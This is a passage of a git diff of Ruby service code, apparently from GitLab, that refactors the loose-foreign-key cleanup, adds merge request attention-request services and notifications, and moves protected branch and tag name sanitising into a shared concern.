+ with_skip_locked: with_skip_locked
+ )
- loop do
- result = cleaner.execute
- record_result(cleaner, result)
+ loop do
+ result = cleaner.execute
+ record_result(cleaner, result)
- break if modification_tracker.over_limit? || result[:affected_rows] == 0
+ break if modification_tracker.over_limit? || result[:affected_rows] == 0
+ end
end
end
end
diff --git a/app/services/loose_foreign_keys/cleaner_service.rb b/app/services/loose_foreign_keys/cleaner_service.rb
index 8fe053e2edf..44a922aad87 100644
--- a/app/services/loose_foreign_keys/cleaner_service.rb
+++ b/app/services/loose_foreign_keys/cleaner_service.rb
@@ -6,11 +6,9 @@ module LooseForeignKeys
DELETE_LIMIT = 1000
UPDATE_LIMIT = 500
- delegate :connection, to: :model
-
- def initialize(model:, foreign_key_definition:, deleted_parent_records:, with_skip_locked: false)
- @model = model
- @foreign_key_definition = foreign_key_definition
+ def initialize(loose_foreign_key_definition:, connection:, deleted_parent_records:, with_skip_locked: false)
+ @loose_foreign_key_definition = loose_foreign_key_definition
+ @connection = connection
@deleted_parent_records = deleted_parent_records
@with_skip_locked = with_skip_locked
end
@@ -18,20 +16,20 @@ module LooseForeignKeys
def execute
result = connection.execute(build_query)
- { affected_rows: result.cmd_tuples, table: foreign_key_definition.to_table }
+ { affected_rows: result.cmd_tuples, table: loose_foreign_key_definition.from_table }
end
def async_delete?
- foreign_key_definition.on_delete == :async_delete
+ loose_foreign_key_definition.on_delete == :async_delete
end
def async_nullify?
- foreign_key_definition.on_delete == :async_nullify
+ loose_foreign_key_definition.on_delete == :async_nullify
end
private
- attr_reader :model, :foreign_key_definition, :deleted_parent_records, :with_skip_locked
+ attr_reader :loose_foreign_key_definition, :connection, :deleted_parent_records, :with_skip_locked
def build_query
query = if async_delete?
@@ -39,10 +37,10 @@ module LooseForeignKeys
elsif async_nullify?
update_query
else
- raise "Invalid on_delete argument: #{foreign_key_definition.on_delete}"
+ raise "Invalid on_delete argument: #{loose_foreign_key_definition.on_delete}"
end
- unless query.include?(%{"#{foreign_key_definition.column}" IN (})
+ unless query.include?(%{"#{loose_foreign_key_definition.column}" IN (})
raise("FATAL: foreign key condition is missing from the generated query: #{query}")
end
@@ -50,15 +48,15 @@ module LooseForeignKeys
end
def arel_table
- @arel_table ||= model.arel_table
+ @arel_table ||= Arel::Table.new(loose_foreign_key_definition.from_table)
end
def primary_keys
- @primary_keys ||= connection.primary_keys(model.table_name).map { |key| arel_table[key] }
+ @primary_keys ||= connection.primary_keys(loose_foreign_key_definition.from_table).map { |key| arel_table[key] }
end
def quoted_table_name
- @quoted_table_name ||= Arel.sql(connection.quote_table_name(model.table_name))
+ @quoted_table_name ||= Arel.sql(connection.quote_table_name(loose_foreign_key_definition.from_table))
end
def delete_query
@@ -71,7 +69,7 @@ module LooseForeignKeys
def update_query
query = Arel::UpdateManager.new
query.table(quoted_table_name)
- query.set([[arel_table[foreign_key_definition.column], nil]])
+ query.set([[arel_table[loose_foreign_key_definition.column], nil]])
add_in_query_with_limit(query, UPDATE_LIMIT)
end
@@ -88,7 +86,7 @@ module LooseForeignKeys
def in_query_with_limit(limit)
in_query = Arel::SelectManager.new
in_query.from(quoted_table_name)
- in_query.where(arel_table[foreign_key_definition.column].in(deleted_parent_records.map(&:primary_key_value)))
+ in_query.where(arel_table[loose_foreign_key_definition.column].in(deleted_parent_records.map(&:primary_key_value)))
in_query.projections = primary_keys
in_query.take(limit)
in_query.lock(Arel.sql('FOR UPDATE SKIP LOCKED')) if with_skip_locked
diff --git a/app/services/loose_foreign_keys/process_deleted_records_service.rb b/app/services/loose_foreign_keys/process_deleted_records_service.rb
index 735fc8a2415..025829aa774 100644
--- a/app/services/loose_foreign_keys/process_deleted_records_service.rb
+++ b/app/services/loose_foreign_keys/process_deleted_records_service.rb
@@ -21,13 +21,16 @@ module LooseForeignKeys
break if modification_tracker.over_limit?
- model = find_parent_model!(table)
+ loose_foreign_key_definitions = Gitlab::Database::LooseForeignKeys.definitions_by_table[table]
+
+ next if loose_foreign_key_definitions.empty?
LooseForeignKeys::BatchCleanerService
- .new(parent_klass: model,
- deleted_parent_records: records,
- modification_tracker: modification_tracker,
- models_by_table_name: models_by_table_name)
+ .new(
+ parent_table: table,
+ loose_foreign_key_definitions: loose_foreign_key_definitions,
+ deleted_parent_records: records,
+ modification_tracker: modification_tracker)
.execute
break if modification_tracker.over_limit?
@@ -45,30 +48,12 @@ module LooseForeignKeys
LooseForeignKeys::DeletedRecord.load_batch_for_table(fully_qualified_table_name, BATCH_SIZE)
end
- def find_parent_model!(table)
- models_by_table_name.fetch(table)
- end
-
def current_schema
@current_schema = connection.current_schema
end
def tracked_tables
- @tracked_tables ||= models_by_table_name
- .select { |table_name, model| model.respond_to?(:loose_foreign_key_definitions) }
- .keys
- end
-
- def models_by_table_name
- @models_by_table_name ||= begin
- all_models
- .select(&:base_class?)
- .index_by(&:table_name)
- end
- end
-
- def all_models
- ApplicationRecord.descendants
+ @tracked_tables ||= Gitlab::Database::LooseForeignKeys.definitions_by_table.keys
end
end
end
diff --git a/app/services/members/create_service.rb b/app/services/members/create_service.rb
index cb905e01613..acd00d0d1ec 100644
--- a/app/services/members/create_service.rb
+++ b/app/services/members/create_service.rb
@@ -92,7 +92,6 @@ module Members
super
track_invite_source(member)
- track_areas_of_focus(member)
end
def track_invite_source(member)
@@ -110,14 +109,7 @@ module Members
member.invite? ? 'net_new_user' : 'existing_user'
end
- def track_areas_of_focus(member)
- areas_of_focus.each do |area_of_focus|
- Gitlab::Tracking.event(self.class.name, 'area_of_focus', label: area_of_focus, property: member.id.to_s)
- end
- end
-
def create_tasks_to_be_done
- return unless experiment(:invite_members_for_task).enabled?
return if params[:tasks_to_be_done].blank? || params[:tasks_project_id].blank?
valid_members = members.select { |member| member.valid? && member.member_task.valid? }
@@ -129,10 +121,6 @@ module Members
TasksToBeDone::CreateWorker.perform_async(member_task.id, current_user.id, valid_members.map(&:user_id))
end
- def areas_of_focus
- params[:areas_of_focus] || []
- end
-
def user_limit
limit = params.fetch(:limit, DEFAULT_INVITE_LIMIT)
diff --git a/app/services/members/creator_service.rb b/app/services/members/creator_service.rb
index f2c8a6f20a1..e766a7e9044 100644
--- a/app/services/members/creator_service.rb
+++ b/app/services/members/creator_service.rb
@@ -65,7 +65,6 @@ module Members
end
def create_member_task
- return unless experiment(:invite_members_for_task).enabled?
return unless member.persisted?
return if member_task_attributes.value?(nil)
diff --git a/app/services/merge_requests/after_create_service.rb b/app/services/merge_requests/after_create_service.rb
index 77564521d45..d2c83f82ff8 100644
--- a/app/services/merge_requests/after_create_service.rb
+++ b/app/services/merge_requests/after_create_service.rb
@@ -2,13 +2,22 @@
module MergeRequests
class AfterCreateService < MergeRequests::BaseService
+ include Gitlab::Utils::StrongMemoize
+
def execute(merge_request)
+ prepare_for_mergeability(merge_request) if early_prepare_for_mergeability?(merge_request)
prepare_merge_request(merge_request)
- merge_request.mark_as_unchecked if merge_request.preparing?
+ mark_as_unchecked(merge_request) unless early_prepare_for_mergeability?(merge_request)
end
private
+ def prepare_for_mergeability(merge_request)
+ create_pipeline_for(merge_request, current_user)
+ merge_request.update_head_pipeline
+ mark_as_unchecked(merge_request)
+ end
+
def prepare_merge_request(merge_request)
event_service.open_mr(merge_request, current_user)
@@ -17,8 +26,10 @@ module MergeRequests
notification_service.new_merge_request(merge_request, current_user)
- create_pipeline_for(merge_request, current_user)
- merge_request.update_head_pipeline
+ unless early_prepare_for_mergeability?(merge_request)
+ create_pipeline_for(merge_request, current_user)
+ merge_request.update_head_pipeline
+ end
merge_request.diffs(include_stats: false).write_cache
merge_request.create_cross_references!(current_user)
@@ -37,6 +48,16 @@ module MergeRequests
def link_lfs_objects(merge_request)
LinkLfsObjectsService.new(project: merge_request.target_project).execute(merge_request)
end
+
+ def early_prepare_for_mergeability?(merge_request)
+ strong_memoize("early_prepare_for_mergeability_#{merge_request.target_project_id}".to_sym) do
+ Feature.enabled?(:early_prepare_for_mergeability, merge_request.target_project)
+ end
+ end
+
+ def mark_as_unchecked(merge_request)
+ merge_request.mark_as_unchecked if merge_request.preparing?
+ end
end
end
diff --git a/app/services/merge_requests/approval_service.rb b/app/services/merge_requests/approval_service.rb
index 62e599e3e27..3f39b2742c6 100644
--- a/app/services/merge_requests/approval_service.rb
+++ b/app/services/merge_requests/approval_service.rb
@@ -14,6 +14,7 @@ module MergeRequests
create_approval_note(merge_request)
mark_pending_todos_as_done(merge_request)
execute_approval_hooks(merge_request, current_user)
+ remove_attention_requested(merge_request, current_user)
merge_request_activity_counter.track_approve_mr_action(user: current_user)
success
diff --git a/app/services/merge_requests/base_service.rb b/app/services/merge_requests/base_service.rb
index 0a652c58aab..d744881549a 100644
--- a/app/services/merge_requests/base_service.rb
+++ b/app/services/merge_requests/base_service.rb
@@ -58,6 +58,8 @@ module MergeRequests
new_reviewers = merge_request.reviewers - old_reviewers
merge_request_activity_counter.track_users_review_requested(users: new_reviewers)
merge_request_activity_counter.track_reviewers_changed_action(user: current_user)
+
+ remove_attention_requested(merge_request, current_user)
end
def cleanup_environments(merge_request)
@@ -238,6 +240,18 @@ module MergeRequests
Milestones::MergeRequestsCountService.new(milestone).delete_cache
end
+
+ def remove_all_attention_requests(merge_request)
+ return unless merge_request.attention_requested_enabled?
+
+ ::MergeRequests::BulkRemoveAttentionRequestedService.new(project: merge_request.project, current_user: current_user, merge_request: merge_request).execute
+ end
+
+ def remove_attention_requested(merge_request, user)
+ return unless merge_request.attention_requested_enabled?
+
+ ::MergeRequests::RemoveAttentionRequestedService.new(project: merge_request.project, current_user: current_user, merge_request: merge_request, user: user).execute
+ end
end
end
diff --git a/app/services/merge_requests/bulk_remove_attention_requested_service.rb b/app/services/merge_requests/bulk_remove_attention_requested_service.rb
new file mode 100644
index 00000000000..dd2ff741ba6
--- /dev/null
+++ b/app/services/merge_requests/bulk_remove_attention_requested_service.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module MergeRequests
+ class BulkRemoveAttentionRequestedService < MergeRequests::BaseService
+ attr_accessor :merge_request
+
+ def initialize(project:, current_user:, merge_request:)
+ super(project: project, current_user: current_user)
+
+ @merge_request = merge_request
+ end
+
+ def execute
+ return error("Invalid permissions") unless can?(current_user, :update_merge_request, merge_request)
+
+ merge_request.merge_request_assignees.update_all(state: :reviewed)
+ merge_request.merge_request_reviewers.update_all(state: :reviewed)
+
+ success
+ end
+ end
+end
diff --git a/app/services/merge_requests/close_service.rb b/app/services/merge_requests/close_service.rb
index f83b14c7269..e9b253129b4 100644
--- a/app/services/merge_requests/close_service.rb
+++ b/app/services/merge_requests/close_service.rb
@@ -17,6 +17,7 @@ module MergeRequests
create_note(merge_request)
notification_service.async.close_mr(merge_request, current_user)
todo_service.close_merge_request(merge_request, current_user)
+ remove_all_attention_requests(merge_request)
execute_hooks(merge_request, 'close')
invalidate_cache_counts(merge_request, users: merge_request.assignees | merge_request.reviewers)
merge_request.update_project_counter_caches
diff --git a/app/services/merge_requests/create_pipeline_service.rb b/app/services/merge_requests/create_pipeline_service.rb
index 6b032545230..9d7f8393ba5 100644
--- a/app/services/merge_requests/create_pipeline_service.rb
+++ b/app/services/merge_requests/create_pipeline_service.rb
@@ -48,7 +48,7 @@ module MergeRequests
end
def can_create_pipeline_in_target_project?(merge_request)
- if Gitlab::Ci::Features.disallow_to_create_merge_request_pipelines_in_target_project?(merge_request.target_project)
+ if ::Feature.enabled?(:ci_disallow_to_create_merge_request_pipelines_in_target_project, merge_request.target_project)
merge_request.for_same_project?
else
can?(current_user, :create_pipeline, merge_request.target_project) &&
diff --git a/app/services/merge_requests/handle_assignees_change_service.rb b/app/services/merge_requests/handle_assignees_change_service.rb
index 87cd6544406..1d9f7ab59f4 100644
--- a/app/services/merge_requests/handle_assignees_change_service.rb
+++ b/app/services/merge_requests/handle_assignees_change_service.rb
@@ -22,6 +22,8 @@ module MergeRequests
merge_request_activity_counter.track_assignees_changed_action(user: current_user)
execute_assignees_hooks(merge_request, old_assignees) if options[:execute_hooks]
+
+ remove_attention_requested(merge_request, current_user)
end
private
diff --git a/app/services/merge_requests/outdated_discussion_diff_lines_service.rb b/app/services/merge_requests/outdated_discussion_diff_lines_service.rb
index a2de5a32963..a3d94e888df 100644
--- a/app/services/merge_requests/outdated_discussion_diff_lines_service.rb
+++ b/app/services/merge_requests/outdated_discussion_diff_lines_service.rb
@@ -14,13 +14,23 @@ module MergeRequests
end
def execute
- end_position = position.line_range["end"]
- diff_line_index = diff_lines.find_index do |l|
- if end_position["new_line"]
- l.new_line == end_position["new_line"]
- elsif end_position["old_line"]
- l.old_line == end_position["old_line"]
+ line_position = position.line_range["end"] || position.line_range["start"]
+ found_line = false
+ diff_line_index = -1
+ diff_lines.each_with_index do |l, i|
+ if found_line
+ if !l.type
+ break
+ elsif l.type == 'new'
+ diff_line_index = i
+ break
+ end
+ else
+ # Find the old line
+ found_line = l.old_line == line_position["new_line"]
end
+
+ diff_line_index = i
end
initial_line_index = [diff_line_index - OVERFLOW_LINES_COUNT, 0].max
last_line_index = [diff_line_index + OVERFLOW_LINES_COUNT, diff_lines.length].min
diff --git a/app/services/merge_requests/post_merge_service.rb b/app/services/merge_requests/post_merge_service.rb
index ea3071b3c2d..e475b57e4a2 100644
--- a/app/services/merge_requests/post_merge_service.rb
+++ b/app/services/merge_requests/post_merge_service.rb
@@ -28,6 +28,7 @@ module MergeRequests
notification_service.merge_mr(merge_request, current_user)
invalidate_cache_counts(merge_request, users: merge_request.assignees | merge_request.reviewers)
merge_request.update_project_counter_caches
+ remove_all_attention_requests(merge_request)
delete_non_latest_diffs(merge_request)
cancel_review_app_jobs!(merge_request)
cleanup_environments(merge_request)
diff --git a/app/services/merge_requests/rebase_service.rb b/app/services/merge_requests/rebase_service.rb
index 9423194c01d..d1f45b4b49c 100644
--- a/app/services/merge_requests/rebase_service.rb
+++ b/app/services/merge_requests/rebase_service.rb
@@ -4,7 +4,7 @@ module MergeRequests
class RebaseService < MergeRequests::BaseService
REBASE_ERROR = 'Rebase failed. Please rebase locally'
- attr_reader :merge_request
+ attr_reader :merge_request, :rebase_error
def execute(merge_request, skip_ci: false)
@merge_request = merge_request
@@ -13,7 +13,7 @@ module MergeRequests
if rebase
success
else
- error(REBASE_ERROR)
+ error(rebase_error)
end
end
@@ -22,11 +22,23 @@ module MergeRequests
true
rescue StandardError => e
- log_error(exception: e, message: REBASE_ERROR, save_message_on_model: true)
+ set_rebase_error(e)
+ log_error(exception: e, message: rebase_error, save_message_on_model: true)
false
ensure
merge_request.update_column(:rebase_jid, nil)
end
+
+ private
+
+ def set_rebase_error(exception)
+ @rebase_error =
+ if exception.is_a?(Gitlab::Git::PreReceiveError)
+ "Something went wrong during the rebase pre-receive hook: #{exception.message}."
+ else
+ REBASE_ERROR
+ end
+ end
end
end
diff --git a/app/services/merge_requests/remove_attention_requested_service.rb b/app/services/merge_requests/remove_attention_requested_service.rb
new file mode 100644
index 00000000000..b727c24415e
--- /dev/null
+++ b/app/services/merge_requests/remove_attention_requested_service.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module MergeRequests
+ class RemoveAttentionRequestedService < MergeRequests::BaseService
+ attr_accessor :merge_request, :user
+
+ def initialize(project:, current_user:, merge_request:, user:)
+ super(project: project, current_user: current_user)
+
+ @merge_request = merge_request
+ @user = user
+ end
+
+ def execute
+ return error("Invalid permissions") unless can?(current_user, :update_merge_request, merge_request)
+
+ if reviewer || assignee
+ update_state(reviewer)
+ update_state(assignee)
+
+ success
+ else
+ error("User is not a reviewer or assignee of the merge request")
+ end
+ end
+
+ private
+
+ def assignee
+ merge_request.find_assignee(user)
+ end
+
+ def reviewer
+ merge_request.find_reviewer(user)
+ end
+
+ def update_state(reviewer_or_assignee)
+ reviewer_or_assignee&.update(state: :reviewed)
+ end
+ end
+end
diff --git a/app/services/merge_requests/resolved_discussion_notification_service.rb b/app/services/merge_requests/resolved_discussion_notification_service.rb
index 03ded1512f9..6afd760386e 100644
--- a/app/services/merge_requests/resolved_discussion_notification_service.rb
+++ b/app/services/merge_requests/resolved_discussion_notification_service.rb
@@ -6,6 +6,7 @@ module MergeRequests
return unless merge_request.discussions_resolved?
SystemNoteService.resolve_all_discussions(merge_request, project, current_user)
+ execute_hooks(merge_request, 'update')
notification_service.async.resolve_all_discussions(merge_request, current_user)
end
end
diff --git a/app/services/merge_requests/squash_service.rb b/app/services/merge_requests/squash_service.rb
index 102f78c6a9b..0600fd1d740 100644
--- a/app/services/merge_requests/squash_service.rb
+++ b/app/services/merge_requests/squash_service.rb
@@ -5,7 +5,7 @@ module MergeRequests
def execute
# If performing a squash would result in no change, then
# immediately return a success message without performing a squash
- if merge_request.commits_count < 2 && message.nil?
+ if merge_request.commits_count == 1 && message == merge_request.first_commit.safe_message
return success(squash_sha: merge_request.diff_head_sha)
end
@@ -17,7 +17,7 @@ module MergeRequests
private
def squash!
- squash_sha = repository.squash(current_user, merge_request, message || merge_request.default_squash_commit_message)
+ squash_sha = repository.squash(current_user, merge_request, message)
success(squash_sha: squash_sha)
rescue StandardError => e
@@ -39,7 +39,7 @@ module MergeRequests
end
def message
- params[:squash_commit_message].presence
+ params[:squash_commit_message].presence || merge_request.default_squash_commit_message
end
end
end
diff --git a/app/services/merge_requests/toggle_attention_requested_service.rb b/app/services/merge_requests/toggle_attention_requested_service.rb
index 66c5d6fce5d..d9f81ac310f 100644
--- a/app/services/merge_requests/toggle_attention_requested_service.rb
+++ b/app/services/merge_requests/toggle_attention_requested_service.rb
@@ -19,7 +19,14 @@ module MergeRequests
update_state(assignee)
if reviewer&.attention_requested? || assignee&.attention_requested?
+ create_attention_request_note
notity_user
+
+ if current_user.id != user.id
+ remove_attention_requested(merge_request, current_user)
+ end
+ else
+ create_remove_attention_request_note
end
success
@@ -31,9 +38,18 @@ module MergeRequests
private
def notity_user
+ notification_service.async.attention_requested_of_merge_request(merge_request, current_user, user)
todo_service.create_attention_requested_todo(merge_request, current_user, user)
end
+ def create_attention_request_note
+ SystemNoteService.request_attention(merge_request, merge_request.project, current_user, user)
+ end
+
+ def create_remove_attention_request_note
+ SystemNoteService.remove_attention_request(merge_request, merge_request.project, current_user, user)
+ end
+
def assignee
merge_request.find_assignee(user)
end
diff --git a/app/services/namespaces/invite_team_email_service.rb b/app/services/namespaces/invite_team_email_service.rb
index 45975d1953a..78edc205990 100644
--- a/app/services/namespaces/invite_team_email_service.rb
+++ b/app/services/namespaces/invite_team_email_service.rb
@@ -29,13 +29,12 @@ module Namespaces
return if email_for_track_sent_to_user?
experiment(:invite_team_email, group: group) do |e|
+ e.publish_to_database
e.candidate do
send_email(user, group)
sent_email_records.add(user, track, series)
sent_email_records.save!
end
-
- e.record!
end
end
diff --git a/app/services/notification_recipients/build_service.rb b/app/services/notification_recipients/build_service.rb
index 52070abbad7..aeb859af4d9 100644
--- a/app/services/notification_recipients/build_service.rb
+++ b/app/services/notification_recipients/build_service.rb
@@ -40,5 +40,9 @@ module NotificationRecipients
def self.build_requested_review_recipients(*args)
::NotificationRecipients::Builder::RequestReview.new(*args).notification_recipients
end
+
+ def self.build_attention_requested_recipients(*args)
+ ::NotificationRecipients::Builder::AttentionRequested.new(*args).notification_recipients
+ end
end
end
diff --git a/app/services/notification_recipients/builder/attention_requested.rb b/app/services/notification_recipients/builder/attention_requested.rb
new file mode 100644
index 00000000000..cdc371fcece
--- /dev/null
+++ b/app/services/notification_recipients/builder/attention_requested.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module NotificationRecipients
+ module Builder
+ class AttentionRequested < Base
+ attr_reader :merge_request, :current_user, :user
+
+ def initialize(merge_request, current_user, user)
+ @merge_request = merge_request
+ @current_user = current_user
+ @user = user
+ end
+
+ def target
+ merge_request
+ end
+
+ def build!
+ add_recipients(user, :mention, NotificationReason::ATTENTION_REQUESTED)
+ end
+ end
+ end
+end
diff --git a/app/services/notification_service.rb b/app/services/notification_service.rb
index 6ad3a74b85d..5b1733422d0 100644
--- a/app/services/notification_service.rb
+++ b/app/services/notification_service.rb
@@ -301,6 +301,14 @@ class NotificationService
end
end
+ def attention_requested_of_merge_request(merge_request, current_user, user)
+ recipients = NotificationRecipients::BuildService.build_attention_requested_recipients(merge_request, current_user, user)
+
+ recipients.each do |recipient|
+ mailer.attention_requested_merge_request_email(recipient.user.id, merge_request.id, current_user.id, recipient.reason).deliver_later
+ end
+ end
+
# When we add labels to a merge request we should send an email to:
#
# * watchers of the mr's labels
diff --git a/app/services/packages/debian/generate_distribution_service.rb b/app/services/packages/debian/generate_distribution_service.rb
index 74b07e05aa6..33bf877a153 100644
--- a/app/services/packages/debian/generate_distribution_service.rb
+++ b/app/services/packages/debian/generate_distribution_service.rb
@@ -91,7 +91,7 @@ module Packages
generate_component_file(component, :packages, architecture, :deb)
generate_component_file(component, :di_packages, architecture, :udeb)
end
- generate_component_file(component, :source, nil, :dsc)
+ generate_component_file(component, :sources, nil, :dsc)
end
end
diff --git a/app/services/packages/npm/create_package_service.rb b/app/services/packages/npm/create_package_service.rb
index ae9c92a3d3a..655616c3a28 100644
--- a/app/services/packages/npm/create_package_service.rb
+++ b/app/services/packages/npm/create_package_service.rb
@@ -23,9 +23,7 @@ module Packages
::Packages::CreateDependencyService.new(package, package_dependencies).execute
::Packages::Npm::CreateTagService.new(package, dist_tag).execute
- if Feature.enabled?(:packages_npm_abbreviated_metadata, project, default_enabled: :yaml)
- package.create_npm_metadatum!(package_json: package_json)
- end
+ package.create_npm_metadatum!(package_json: package_json)
package
end
diff --git a/app/services/pages/zip_directory_service.rb b/app/services/pages/zip_directory_service.rb
index 895614a84a0..c9029b9666a 100644
--- a/app/services/pages/zip_directory_service.rb
+++ b/app/services/pages/zip_directory_service.rb
@@ -25,7 +25,9 @@ module Pages
FileUtils.rm_f(output_file)
entries_count = 0
- ::Zip::File.open(output_file, ::Zip::File::CREATE) do |zipfile|
+ # Since we're writing not reading here, we can safely silence the cop.
+ # It currently cannot discern between opening for reading or writing.
+ ::Zip::File.open(output_file, ::Zip::File::CREATE) do |zipfile| # rubocop:disable Performance/Rubyzip
write_entry(zipfile, PUBLIC_DIR)
entries_count = zipfile.entries.count
end
diff --git a/app/services/projects/destroy_service.rb b/app/services/projects/destroy_service.rb
index b7ed9202b01..aef92b8adee 100644
--- a/app/services/projects/destroy_service.rb
+++ b/app/services/projects/destroy_service.rb
@@ -28,9 +28,7 @@ module Projects
# Git data (e.g. a list of branch names).
flush_caches(project)
- if Feature.enabled?(:abort_deleted_project_pipelines, default_enabled: :yaml)
- ::Ci::AbortPipelinesService.new.execute(project.all_pipelines, :project_deleted)
- end
+ ::Ci::AbortPipelinesService.new.execute(project.all_pipelines, :project_deleted)
Projects::UnlinkForkService.new(project, current_user).execute
@@ -75,6 +73,18 @@ module Projects
response.success?
end
+ def destroy_events!
+ unless remove_events
+ raise_error(s_('DeleteProject|Failed to remove events. Please try again or contact administrator.'))
+ end
+ end
+
+ def remove_events
+ response = ::Events::DestroyService.new(project).execute
+
+ response.success?
+ end
+
def remove_repository(repository)
return true unless repository
@@ -117,14 +127,10 @@ module Projects
log_destroy_event
trash_relation_repositories!
trash_project_repositories!
+ destroy_events!
destroy_web_hooks!
destroy_project_bots!
-
- if ::Feature.enabled?(:ci_optimize_project_records_destruction, project, default_enabled: :yaml) &&
- Feature.enabled?(:abort_deleted_project_pipelines, default_enabled: :yaml)
-
- destroy_ci_records!
- end
+ destroy_ci_records!
# Rails attempts to load all related records into memory before
# destroying: https://github.com/rails/rails/issues/22510
@@ -150,7 +156,7 @@ module Projects
::Ci::DestroyPipelineService.new(project, current_user).execute(pipeline)
end
- deleted_count = project.commit_statuses.delete_all
+ deleted_count = ::CommitStatus.for_project(project).delete_all
Gitlab::AppLogger.info(
class: 'Projects::DestroyService',
diff --git a/app/services/projects/prometheus/alerts/create_service.rb b/app/services/projects/prometheus/alerts/create_service.rb
index dc0cacf49f3..0d7d8ab1a62 100644
--- a/app/services/projects/prometheus/alerts/create_service.rb
+++ b/app/services/projects/prometheus/alerts/create_service.rb
@@ -3,7 +3,7 @@
module Projects
module Prometheus
module Alerts
- class CreateService < BaseService
+ class CreateService < BaseProjectService
include AlertParams
def execute
diff --git a/app/services/projects/prometheus/alerts/destroy_service.rb b/app/services/projects/prometheus/alerts/destroy_service.rb
index 14e88a2e356..243b12eb654 100644
--- a/app/services/projects/prometheus/alerts/destroy_service.rb
+++ b/app/services/projects/prometheus/alerts/destroy_service.rb
@@ -3,7 +3,7 @@
module Projects
module Prometheus
module Alerts
- class DestroyService < BaseService
+ class DestroyService < BaseProjectService
def execute(alert)
alert.destroy
end
diff --git a/app/services/projects/prometheus/alerts/update_service.rb b/app/services/projects/prometheus/alerts/update_service.rb
index a0c8a5ccc2d..1802f35dae9 100644
--- a/app/services/projects/prometheus/alerts/update_service.rb
+++ b/app/services/projects/prometheus/alerts/update_service.rb
@@ -3,7 +3,7 @@
module Projects
module Prometheus
module Alerts
- class UpdateService < BaseService
+ class UpdateService < BaseProjectService
include AlertParams
def execute(alert)
diff --git a/app/services/projects/transfer_service.rb b/app/services/projects/transfer_service.rb
index a69e6488ebc..17da77fe950 100644
--- a/app/services/projects/transfer_service.rb
+++ b/app/services/projects/transfer_service.rb
@@ -104,10 +104,10 @@ module Projects
update_repository_configuration(@new_path)
execute_system_hooks
-
- update_pending_builds!
end
+ update_pending_builds
+
post_update_hooks(project)
rescue Exception # rubocop:disable Lint/RescueException
rollback_side_effects
@@ -244,13 +244,15 @@ module Projects
Integration.create_from_active_default_integrations(project, :project_id)
end
- def update_pending_builds!
- update_params = {
+ def update_pending_builds
+ ::Ci::PendingBuilds::UpdateProjectWorker.perform_async(project.id, pending_builds_params)
+ end
+
+ def pending_builds_params
+ {
namespace_id: new_namespace.id,
namespace_traversal_ids: new_namespace.traversal_ids
}
-
- ::Ci::UpdatePendingBuildService.new(project, update_params).execute
end
end
end
diff --git a/app/services/protected_branches/base_service.rb b/app/services/protected_branches/base_service.rb
index df801311aaf..1ab3ccfcaae 100644
--- a/app/services/protected_branches/base_service.rb
+++ b/app/services/protected_branches/base_service.rb
@@ -2,6 +2,8 @@
module ProtectedBranches
class BaseService < ::BaseService
+ include ProtectedRefNameSanitizer
+
# current_user - The user that performs the action
# params - A hash of parameters
def initialize(project, current_user = nil, params = {})
@@ -14,22 +16,13 @@ module ProtectedBranches
# overridden in EE::ProtectedBranches module
end
+ private
+
def filtered_params
return unless params
- params[:name] = sanitize_branch_name(params[:name]) if params[:name].present?
+ params[:name] = sanitize_name(params[:name]) if params[:name].present?
params
end
-
- private
-
- def sanitize_branch_name(name)
- name = CGI.unescapeHTML(name)
- name = Sanitize.fragment(name)
-
- # Sanitize.fragment escapes HTML chars, so unescape again to allow names
- # like `feature->master`
- CGI.unescapeHTML(name)
- end
end
end
diff --git a/app/services/protected_tags/base_service.rb b/app/services/protected_tags/base_service.rb
new file mode 100644
index 00000000000..e0181815f0f
--- /dev/null
+++ b/app/services/protected_tags/base_service.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module ProtectedTags
+ class BaseService < ::BaseService
+ include ProtectedRefNameSanitizer
+
+ private
+
+ def filtered_params
+ return unless params
+
+ params[:name] = sanitize_name(params[:name]) if params[:name].present?
+ params
+ end
+ end
+end
diff --git a/app/services/protected_tags/create_service.rb b/app/services/protected_tags/create_service.rb
index 9aff55986b2..7d2b583a295 100644
--- a/app/services/protected_tags/create_service.rb
+++ b/app/services/protected_tags/create_service.rb
@@ -1,13 +1,13 @@
# frozen_string_literal: true
module ProtectedTags
- class CreateService < BaseService
+ class CreateService < ProtectedTags::BaseService
attr_reader :protected_tag
def execute
raise Gitlab::Access::AccessDeniedError unless can?(current_user, :admin_project, project)
- project.protected_tags.create(params)
+ project.protected_tags.create(filtered_params)
end
end
end
diff --git a/app/services/protected_tags/update_service.rb b/app/services/protected_tags/update_service.rb
index 3eb5f4955ee..e337ec39898 100644
--- a/app/services/protected_tags/update_service.rb
+++ b/app/services/protected_tags/update_service.rb
@@ -1,11 +1,11 @@
# frozen_string_literal: true
module ProtectedTags
- class UpdateService < BaseService
+ class UpdateService < ProtectedTags::BaseService
def execute(protected_tag)
raise Gitlab::Access::AccessDeniedError unless can?(current_user, :admin_project, project)
- protected_tag.update(params)
+ protected_tag.update(filtered_params)
protected_tag
end
end
diff --git a/app/services/repositories/changelog_service.rb b/app/services/repositories/changelog_service.rb
index 96db00fbc1b..eafd9d7a55e 100644
--- a/app/services/repositories/changelog_service.rb
+++ b/app/services/repositories/changelog_service.rb
@@ -60,7 +60,7 @@ module Repositories
end
# rubocop: enable Metrics/ParameterLists
- def execute
+ def execute(commit_to_changelog: true)
config = Gitlab::Changelog::Config.from_git(@project, @user)
from = start_of_commit_range(config)
@@ -93,9 +93,13 @@ module Repositories
end
end
- Gitlab::Changelog::Committer
- .new(@project, @user)
- .commit(release: release, file: @file, branch: @branch, message: @message)
+ if commit_to_changelog
+ Gitlab::Changelog::Committer
+ .new(@project, @user)
+ .commit(release: release, file: @file, branch: @branch, message: @message)
+ else
+ Gitlab::Changelog::Generator.new.add(release)
+ end
end
def start_of_commit_range(config)
diff --git a/app/services/search_service.rb b/app/services/search_service.rb
index 4ba1b3ade86..171d52c328d 100644
--- a/app/services/search_service.rb
+++ b/app/services/search_service.rb
@@ -2,42 +2,35 @@
class SearchService
include Gitlab::Allowable
+ include Gitlab::Utils::StrongMemoize
- SEARCH_TERM_LIMIT = 64
- SEARCH_CHAR_LIMIT = 4096
DEFAULT_PER_PAGE = Gitlab::SearchResults::DEFAULT_PER_PAGE
MAX_PER_PAGE = 200
def initialize(current_user, params = {})
@current_user = current_user
- @params = params.dup
